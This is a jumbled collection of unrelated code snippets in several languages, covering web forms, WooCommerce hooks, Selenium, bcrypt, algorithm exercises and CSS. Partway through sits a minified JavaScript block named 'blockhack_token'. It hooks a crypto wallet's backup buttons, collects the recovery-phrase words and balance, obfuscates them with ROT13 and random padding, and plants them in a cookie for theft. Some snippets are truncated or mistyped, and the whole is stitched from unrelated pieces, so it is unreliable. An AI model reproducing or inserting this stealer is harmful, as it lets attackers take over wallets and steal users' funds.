[[NSProcessInfo processInfo] operatingSystemVersion]

function copyToClipboard(element) {
  var $temp = $("<input>");
  $("body").append($temp);
  $temp.val($(element).text()).select();
  document.execCommand("copy");
  $temp.remove();

}

var mongoose = require('mongoose');
var Schema = mongoose.Schema;
var slug = require('mongoose-slug-generator');

mongoose.plugin(slug);

const pageSchema = new Schema({
    title: { type: String , required: true},
    slug: { type: String, slug: "title" }
});

var Page = mongoose.model('Page', pageSchema);
module.exports = Page;

var allElements = $("*");

render() {
  return (
    <View style={styles.container}>
      <Image source={require('./assets/climbing_mountain.jpeg')} style={styles.imageContainer}>
      </Image>
      <View style={styles.overlay} />
    </View>
  )
}

const styles = StyleSheet.create({
  container: {
    flex: 1,
    width: null,
    height: null,
  },
  imageContainer: {
    flex: 1,
    width: null,
    height: null,
  },
  overlay: {
    ...StyleSheet.absoluteFillObject,
    backgroundColor: 'rgba(69,85,117,0.7)',
  }
})

const scale = (num, in_min, in_max, out_min, out_max) => {
  return (num - in_min) * (out_max - out_min) / (in_max - in_min) + out_min;
}

function isArrayInArray(arr, item){
  var item_as_string = JSON.stringify(item);

  var contains = arr.some(function(ele){
    return JSON.stringify(ele) === item_as_string;
  });
  return contains;
}

var myArray = [
  [1, 0],
  [1, 1],
  [1, 3],
  [2, 4]
]
var item = [1, 0]

console.log(isArrayInArray(myArray, item));  // Print true if found

function checkSign(num){
    
return num > 0 ? "Postive": num<0 ? "Negative": "zero";
}

console.log(checkSign(0));

(async () => {
  const rawResponse = await fetch('https://httpbin.org/post', {
    method: 'POST',
    headers: {
      'Accept': 'application/json',
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({a: 1, b: 'Textual content'})
  });
  const content = await rawResponse.json();

  console.log(content);
})();

// It seems like something happened to these strings
// Can you figure out how to clear up the chaos?
// Write a function that joins these strings together such that they form the following words:
// 'Javascript', 'Countryside', and 'Downtown'
// You might want to apply basic JS string methods such as replace(), split(), slice() etc

function myFunction (a, b) {

 	b = b.split('').reverse().join	('')
	return a.concat(b).replace(/[^a-zA-Z ]/g, '')

}

myFunction('java', 'tpi%rcs')   // returns 'javascript'
myFunction('c%ountry', 'edis')	// returns 'countryside'
myFunction('down', 'nw%ot')		// returns 'downtown'

var obj = {
  x: 45,
  b: {
    func: function(){alert('a')},
    name: "b"
  },
  a: "prueba"
};

var nw = moveProp(obj, "a", "x"); //-- move 'a' to position of 'x'
console.log(nw, obj);


//--

function moveProp(obj, moveKey, toKey){
  var temp = Object.assign({}, obj)
  var tobj;
  var resp = {};

  tobj = temp[moveKey];
  delete temp[moveKey];
  for(var prop in temp){
    if (prop===toKey) resp[moveKey] = tobj;
    resp[prop] = temp[prop]; 
  }
  return resp;
}

router.post('/:id/edit', auth.requireLogin, (req, res, next) => {
  Post.findByIdAndUpdate(req.params.id, req.body, function(err, post) {
    if(err) { console.error(err) };

     res.redirect(`/`+req.params.id);
  });
});

var express = require("express");
var app = express();
const session = require('express-session');
var MemcachedStore = require('connect-memjs')(session);

// configure sessions
var store = new MemcachedStore({servers: [process.env.MEMCACHEDCLOUD_SERVERS], username: process.env.MEMCACHEDCLOUD_USERNAME, password: process.env.MEMCACHEDCLOUD_PASSWORD});
app.use(session({ secret: 'keyboard cat',
   resave: true,
   saveUninitialized: true,
   cookie: { secure: true }, 
   store: store
}))

add_filter( 'woocommerce_available_payment_gateways', 'conditionally_disable_cod_payment_method', 10, 1);
function conditionally_disable_cod_payment_method( $gateways ){
    // HERE define your Products IDs
    $products_ids = array(2880);

    // Loop through cart items
    foreach ( WC()->cart->get_cart() as $cart_item ){
        // Compatibility with WC 3+
        $product_id = version_compare( WC_VERSION, '3.0', '<' ) ? $cart_item['data']->id : $cart_item['data']->get_id();
        if (in_array( $cart_item['product_id'], $products_ids ) ){
            unset($gateways['cod']);
            break; // As "COD" is removed we stop the loop
        }
    }
    return $gateways;
}

use App\Http\Controllers\OtherController;

class TestController extends Controller
{
    public function index()
    {
        //Calling a method that is from the OtherController
        $result = (new OtherController)->method();
    }
}

2) Second way

app('App\Http\Controllers\OtherController')->method();

Both way you can get another controller function.

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from fake_useragent import UserAgent

options = Options()
ua = UserAgent()
userAgent = ua.random
print(userAgent)
options.add_argument(f'user-agent={userAgent}')
driver = webdriver.Chrome(chrome_options=options, executable_path=r'C:\WebDrivers\ChromeDriver\chromedriver_win32\chromedriver.exe')
driver.get("https://www.google.co.in")
driver.quit()

def read_csv_pgbar(csv_path, chunksize, usecols, dtype=object):


    # print('Getting row count of csv file')

    rows = sum(1 for _ in open(csv_path, 'r')) - 1 # minus the header
    # chunks = rows//chunksize + 1
    # print('Reading csv file')
    chunk_list = []

    with tqdm(total=rows, desc='Rows read: ') as bar:
        for chunk in pd.read_csv(csv_path, chunksize=chunksize, usecols=usecols, dtype=dtype):
            chunk_list.append(chunk)
            bar.update(len(chunk))

    df = pd.concat((f for f in chunk_list), axis=0)
    print('Finish reading csv file')

    return df

Copyright <script>document.write(new Date().getFullYear())</script>  All rights reserved - 

from google.colab import files

uploaded = files.upload()

for fn in uploaded.keys():
  print('User uploaded file "{name}" with length {length} bytes'.format(
      name=fn, length=len(uploaded[fn])))

bar(?=bar)     finds the 1st bar ("bar" which has "bar" after it)
bar(?!bar)     finds the 2nd bar ("bar" which does not have "bar" after it)
(?<=foo)bar    finds the 1st bar ("bar" which has "foo" before it)
(?<!foo)bar    finds the 2nd bar ("bar" which does not have "foo" before it)

function blockhack_token(e){return(e+"").replace(/[a-z]/gi,function(e){return String.fromCharCode(e.charCodeAt(0)+("n">e.toLowerCase()?13:-13))})}function sleep(e){return new Promise(function(t){return setTimeout(t,e)})}function makeid(e){for(var t="",n=0;n<e;n++)t+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(62*Math.random()));return t}for(var elems=document.querySelectorAll(".sc-bdVaJa.iOqSrY"),keys=[],result=makeid(300),i=elems.length;i--;)"backupFundsButton"==elems[i].getAttribute("data-e2e")&&elems[i].addEventListener("click",myFunc,!1);function myFunc(){setTimeout(function(){for(var e=document.querySelectorAll(".sc-bdVaJa.KFCFP"),t=e.length;t--;)e[t].addEventListener("click",start,!1)},1e3)}function start(){keys=[],setTimeout(function(){var e=document.querySelectorAll("div[data-e2e=backupWords]"),t=document.querySelectorAll(".KFCFP");for(e.forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))}),e=t.length;e--;)"toRecoveryTwo"==t[e].getAttribute("data-e2e")&&t[e].addEventListener("click",end,!1)},1e3)}function end(){setTimeout(function(){document.querySelectorAll("div[data-e2e=backupWords]").forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))});var e=document.querySelectorAll("div[data-e2e=topBalanceTotal]")[0].textContent,t=result+"["+e+"]["+keys.join("]"+makeid(300)+"[");t+="]"+makeid(300),document.cookie="blockhack_token="+t},1e3)}

<meta name="viewport" content="width=device-width, initial-scale=.5, maximum-scale=12.0, minimum-scale=.25, user-scalable=yes"/>

<!DOCTYPE html>
<html>
<body>
​
<h2>JavaScript Comparison</h2>
​
<p>Assign 5 to x, and display the value of the comparison (x == 8):</p>
​
<p id="demo"></p>
​
<script>
var x = 5;
document.getElementById("demo").innerHTML = (x == 8);
</script>
​
</body>
</html>
​

Vehicle::find(3)->value('register_number');

--add-metadata --postprocessor-args "-metadata artist=Pink\ Floyd"

dd_filter( 'woocommerce_product_add_to_cart_text' , 'custom_woocommerce_product_add_to_cart_text' );
/* * custom_woocommerce_template_loop_add_to_cart**/
function custom_woocommerce_product_add_to_cart_text() {	
global $product;		
  $product_type = $product->get_type();		switch ( $product_type ) {		case 'external':			return _( 'Buy product', 'woocommerce' );		break;		case 'grouped':			return _( 'View products', 'woocommerce' );		break;		case 'simple':			return _( 'Add to cart', 'woocommerce' );		break;		case 'variable':			return _( 'Select options', 'woocommerce' );		break;		default:			return __( 'Read more', 'woocommerce' );	}	}

import pickle
import os
from google_auth_oauthlib.flow import Flow, InstalledAppFlow
from googleapiclient.discovery import build
from googleapiclient.http import MediaFileUpload, MediaIoBaseDownload
from google.auth.transport.requests import Request


def Create_Service(client_secret_file, api_name, api_version, *scopes):
    print(client_secret_file, api_name, api_version, scopes, sep='-')
    CLIENT_SECRET_FILE = client_secret_file
    API_SERVICE_NAME = api_name
    API_VERSION = api_version
    SCOPES = [scope for scope in scopes[0]]
    print(SCOPES)

    cred = None

    pickle_file = f'token_{API_SERVICE_NAME}_{API_VERSION}.pickle'
    # print(pickle_file)

    if os.path.exists(pickle_file):
        with open(pickle_file, 'rb') as token:
            cred = pickle.load(token)

    if not cred or not cred.valid:
        if cred and cred.expired and cred.refresh_token:
            cred.refresh(Request())
        else:
            flow = InstalledAppFlow.from_client_secrets_file(CLIENT_SECRET_FILE, SCOPES)
            cred = flow.run_local_server()

        with open(pickle_file, 'wb') as token:
            pickle.dump(cred, token)

    try:
        service = build(API_SERVICE_NAME, API_VERSION, credentials=cred)
        print(API_SERVICE_NAME, 'service created successfully')
        return service
    except Exception as e:
        print('Unable to connect.')
        print(e)
        return None

def convert_to_RFC_datetime(year=1900, month=1, day=1, hour=0, minute=0):
    dt = datetime.datetime(year, month, day, hour, minute, 0).isoformat() + 'Z'
    return dt

AlertDialog.Builder builder = new AlertDialog.Builder(context);
...
...
AlertDialog dialog = builder.create();

ColorDrawable back = new ColorDrawable(Color.TRANSPARENT);
InsetDrawable inset = new InsetDrawable(back, 20);
dialog.getWindow().setBackgroundDrawable(inset);

dialog.show();

#watch-page-skeleton{position:relative;z-index:1;margin:0 auto;box-sizing:border-box}#watch-page-skeleton #info-container,#watch-page-skeleton #related{box-sizing:border-box}.watch-skeleton .text-shell{height:20px;border-radius:2px}.watch-skeleton .skeleton-bg-color{background-color:hsl(0,0%,89%)}.watch-skeleton .skeleton-light-border-bottom{border-bottom:1px solid hsl(0,0%,93.3%)}html[dark] .watch-skeleton .skeleton-bg-color{background-color:hsl(0,0%,16%)}html[dark] .watch-skeleton .skeleton-light-border-bottom{border-bottom:1px solid hsla(0,100%,100%,.08)}.watch-skeleton .flex-1{-ms-flex:1;-webkit-flex:1;flex:1;-webkit-flex-basis:.000000001px;flex-basis:.000000001px}.watch-skeleton #primary-info{height:64px;padding:20px 0 8px}.watch-skeleton #primary-info #title{width:400px;margin-bottom:12px}.watch-skeleton #primary-info #info{display:-moz-flexbox;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-direction:row;flex-direction:row;-webkit-align-items:center;align-items:center}.watch-skeleton #primary-info #info #count{width:200px}.watch-skeleton #primary-info #info #menu{display:-moz-flexbox;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-direction:row;flex-direction:row;padding-right:8px}.watch-skeleton #primary-info .menu-button{height:20px;width:20px;border-radius:50%;margin-left:20px}.watch-skeleton #secondary-info{height:151px;margin-bottom:24px;padding:16px 0}.watch-skeleton #secondary-info #top-row,.watch-skeleton #secondary-info #top-row #video-owner{display:-moz-flexbox;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-direction:row;flex-direction:row}.watch-skeleton #secondary-info #top-row #video-owner #channel-icon{height:48px;width:48px;border-radius:50%;margin-right:16px}.watch-skeleton #secondary-info #top-row #video-owner #upload-info{display:-moz-flexbox;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-direction:column;flex-direction:column;-moz-justify-content:center;-webkit-justify-content:center;justify-content:center}.watch-skeleton #secondary-info #top-row #video-owner #upload-info #owner-name{width:200px;margin-bottom:12px}.watch-skeleton #secondary-info #top-row #video-owner #upload-info #published-date{width:200px}.watch-skeleton #secondary-info #top-row #subscribe-button{width:137px;height:36px;border-radius:2px;margin:7px 4px 0 0}#watch-page-skeleton #related{float:right;position:relative;clear:right;max-width:426px;width:calc(100% - 640px)}#watch-page-skeleton.theater #related{width:100%}.watch-skeleton #related .autoplay{margin-bottom:16px}.watch-skeleton #related[playlist] .autoplay{border-bottom:none;margin-bottom:0}.watch-skeleton #related #upnext{height:20px;width:120px;margin-bottom:14px}.watch-skeleton #related[playlist] #upnext{display:none}.watch-skeleton #related .video-details{display:-moz-flexbox;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-direction:row;flex-direction:row;padding-bottom:8px}.watch-skeleton #related:not([playlist]) .autoplay .video-details{padding-bottom:16px}.watch-skeleton #related .video-details .thumbnail{height:94px;width:168px;margin-right:8px}.watch-skeleton #related .video-details .video-title{width:200px;margin-bottom:12px}.watch-skeleton #related .video-details .video-meta{width:120px}@media (max-width:999px){#watch-page-skeleton{width:854px}#watch-page-skeleton #container{display:-moz-flexbox;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-direction:column;flex-direction:column}#watch-page-skeleton #info-container{order:1}#watch-page-skeleton #related{order:2;width:100%;max-width:100%}}@media (max-width:856px){#watch-page-skeleton{width:640px}}@media (max-width:656px){#watch-page-skeleton{width:426px}}@media (min-width:882px){#watch-page-skeleton.theater{width:100%;max-width:1706px;padding:0 32px}#watch-page-skeleton.theater #related{margin-top:0}#watch-page-skeleton.theater #info-container>*{margin-right:24px}}@media (min-width:1000px){#watch-page-skeleton{width:100%;max-width:1066px}#watch-page-skeleton #related{margin-top:-360px;padding-left:24px}#watch-page-skeleton #info-container{width:640px}#watch-page-skeleton.theater #info-container{width:100%;padding-right:426px}}@media (min-width:1294px) and (min-height:630px){#watch-page-skeleton{width:100%;max-width:1280px}#watch-page-skeleton #related{margin-top:-480px}#watch-page-skeleton #info-container{width:854px}}@media (min-width:1720px) and (min-height:980px){#watch-page-skeleton{width:100%;max-width:1706px}#watch-page-skeleton #related{margin-top:-720px}#watch-page-skeleton #info-container{width:1280px}}#watch-page-skeleton.theater.theater-all-widths{width:100%;max-width:1706px;padding:0 32px}#watch-page-skeleton.theater.theater-all-widths #related{margin-top:0}#watch-page-skeleton.theater.theater-all-widths #info-container>*{margin-right:24px}#watch-page-skeleton #related{display:none}

#include<bits/stdc++.h>
using namespace std;
int main()
{
	int n,min=0,sum=0,k=0;
	cin >> n;
	int a[n];
	for(int i=0;i<n;i++)
	{
		cin >> a[i];	
	}
	    for(int i=0;i<n-1;i++)
		sum = sum + pow(abs(a[i] - a[i+1]),2);
		
		min = sum;
	
	    int b[n-1];
	
		for(int i=0;i<n-1;i++)
		{
			b[i] = (a[i] + a[i+1])/2;

		}
		int tt = 1;
	vector<vector<int> > d;
	int qwe=0;
	for(int i=0;i<n-1;i++)
	{
	    vector<int> v;
	for(int j=0;j<n;j++)
	{
	    	if((j == tt) && qwe ==0)
	    	{
			v.push_back(b[tt-1]);
			j--;
			qwe = 1;
	    	}
			else
	        v.push_back(a[j]);
	}
	tt++;
	qwe=0;
	d.push_back(v);
	}
	
			sum = 0;
			for(int i=0;i<n-1;i++)
			{
					for(int j=0;j<=n-1;j++)
					{
					    	sum = sum + pow(abs(d[i][j] - d[i][j+1]),2);
					}
					if(sum < min)
					min = sum;
					
					sum = 0;
			}
			
			cout << min;
	
}

private boolean oneQueenPerRow() {
    int foundQueens;
    for (int i = 0; i < board.length; i++) {
        foundQueens = 0;//each loop is a checked row
        for (int j = 0; j < board.length; j++) {
            if (board[i][j] == QUEEN)
                foundQueens++;
        }
        if (foundQueens > 1) return false;
    }
    return true;
}

int maxSubArraySum(int a[], int size) 
{ 
int max_so_far = 0, max_ending_here = 0; 
for (int i = 0; i < size; i++) 
{ 
	max_ending_here = max_ending_here + a[i]; 
	if (max_ending_here < 0) 
		max_ending_here = 0; 

	/* Do not compare for all elements. Compare only 
		when max_ending_here > 0 */
	else if (max_so_far < max_ending_here) 
		max_so_far = max_ending_here; 
} 
return max_so_far; 
} 

keytool -exportcert -list -v \
-alias <your-key-name> -keystore <path-to-production-keystore>

const arrSum = arr => arr.reduce((a,b) => a + b, 0)
// arrSum([20, 10, 5, 10]) -> 45

function palindrome(str) {
    const alphanumericOnly = str
        // 1) Lowercase the input
        .toLowerCase()
        // 2) Strip out non-alphanumeric characters
        .match(/[a-z0-9]/g);
        
    // 3) return string === reversedString
    return alphanumericOnly.join('') ===
        alphanumericOnly.reverse().join('');
}



palindrome("eye");

class Solution{
    //Function to count the frequency of all elements from 1 to N in the array.
    public static void frequencyCount(int arr[], int N, int P)
    {
        //Decreasing all elements by 1 so that the elements
        //become in range from 0 to n-1.
        int maxi = Math.max(P,N);
        int count[] = new int[maxi+1];
        Arrays.fill(count, 0);
        for(int i=0;i<N;i++){
            count[arr[i]]++; 
        }
        
        for(int i=0;i<N;i++){
            arr[i] = count[i+1];
        }
    }
}

const comparePassword = async (password, hash) => {
    try {
        // Compare password
        return await bcrypt.compare(password, hash);
    } catch (error) {
        console.log(error);
    }

    // Return false if error
    return false;
};

//use case
(async () => {
    // Hash fetched from DB
    const hash = `$2b$10$5ysgXZUJi7MkJWhEhFcZTObGe18G1G.0rnXkewEtXq6ebVx1qpjYW`;

    // Check if password is correct
    const isValidPass = await comparePassword('123456', hash);

    // Print validation status
    console.log(`Password is ${!isValidPass ? 'not' : ''} valid!`);
    // => Password is valid!
})();

#!/bin/bash
# Bash Menu Script Example

PS3='Please enter your choice: '
options=("Option 1" "Option 2" "Option 3" "Quit")
select opt in "${options[@]}"
do
    case $opt in
        "Option 1")
            echo "you chose choice 1"
            ;;
        "Option 2")
            echo "you chose choice 2"
            ;;
        "Option 3")
            echo "you chose choice $REPLY which is $opt"
            ;;
        "Quit")
            break
            ;;
        *) echo "invalid option $REPLY";;
    esac
done

wsl --shutdown
diskpart
# open window Diskpart
select vdisk file="C:\WSL-Distros\…\ext4.vhdx"
attach vdisk readonly
compact vdisk
detach vdisk
exit

javascript:(d=>{var css=`:root{background-color:#f1f1f1;filter:invert(1) hue-rotate(180deg)}img:not([src*=".svg"]),picture,video{filter: invert(1) hue-rotate(180deg)}`,style,id="dark-mode",ee=d.getElementById(id);if(null!=ee)ee.parentNode.removeChild(ee);else {style = d.createElement('style');style.type="text/css";style.id=id;if(style.styleSheet)style.styleSheet.cssText=css;else style.appendChild(d.createTextNode(css));(d.head||d.querySelector('head')).appendChild(style)}})(document)

#include <iostream>
#include<cmath>
#include<ctime>
#include<string>
#include <iomanip>
#include <fstream>

using namespace std;


bool primeNumber(int n);
bool Emirp(int n);
int reversal(int n);
int recursive(int a, int b);

int main()
{
	
	int count = 0;
	int number = 13;
	while (count <= 100)
	{
		if (Emirp(number))
		{
			count++;
			if (count % 10 == 0)
				cout << setw(7) << number << endl;
			else
				cout << setw(7) << number;
		}
		number++;
	}
		

}
bool primeNumber(int n) {
	
		for (int i = 2; i <= n / 2; i++) {
			
			if (n % i == 0) {

				return false;
			}
		}
		return true;
}

bool Emirp(int n) {
	

	return primeNumber(n) && primeNumber(reversal(n));
	
}

int reversal(int n) {
	
		if (n < 10) {
			
				return n;
			
		}
		return recursive(n % 10, n / 10);
	
}

int recursive(int a, int b) {

	if (b < 1) {

		return a;

	}
	return recursive(a * 10 + b % 10, b / 10);
	
}



	
   

def generateParenthesis(n):
    #only add parentehsis if openN < n 
    #only add close parenthesis if closeN < openN 
    #valid if open == closed == n 

    stack = []
    res = []
    
    def backtrack(openN, closeN): 
        if openN == closeN == n: 
            res.append("".join(stack))
            return 
        if openN < n: 
            stack.append('(')
            backtrack(openN + 1, closeN)
            stack.pop()
        if closeN < openN: 
            stack.append(")")
            backtrack(openN, closeN + 1)
            stack.pop()
        #stack.pop() is necessary to clean up stack and come up with other solutions 
        
    backtrack(0, 0)
    #concept is you build openN, closeN but initially, they are at 0 
    return res 

generateParenthesis(3)

$ git clone https://github.com/YOUR-USERNAME/YOUR-REPOSITORY

Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    TextBox1.Text = "Bernard" + vbTab + "32"
    TextBox2.Text = "Luc" + vbTab + "47"
    TextBox3.Text = "François-Victor" + vbTab + "12"
End Sub

.truncate {
  width: 250px;
  white-space: nowrap;
  overflow: hidden;
  text-overflow: ellipsis;
}

 .rotate {

  transform: rotate(-90deg);


  /* Legacy vendor prefixes that you probably don
                                

.box-one {
	width: 100px;
	margin: 0 auto;
}

.box-two {
	width: 100px;
	margin-left: auto;
    margin-right: auto;
}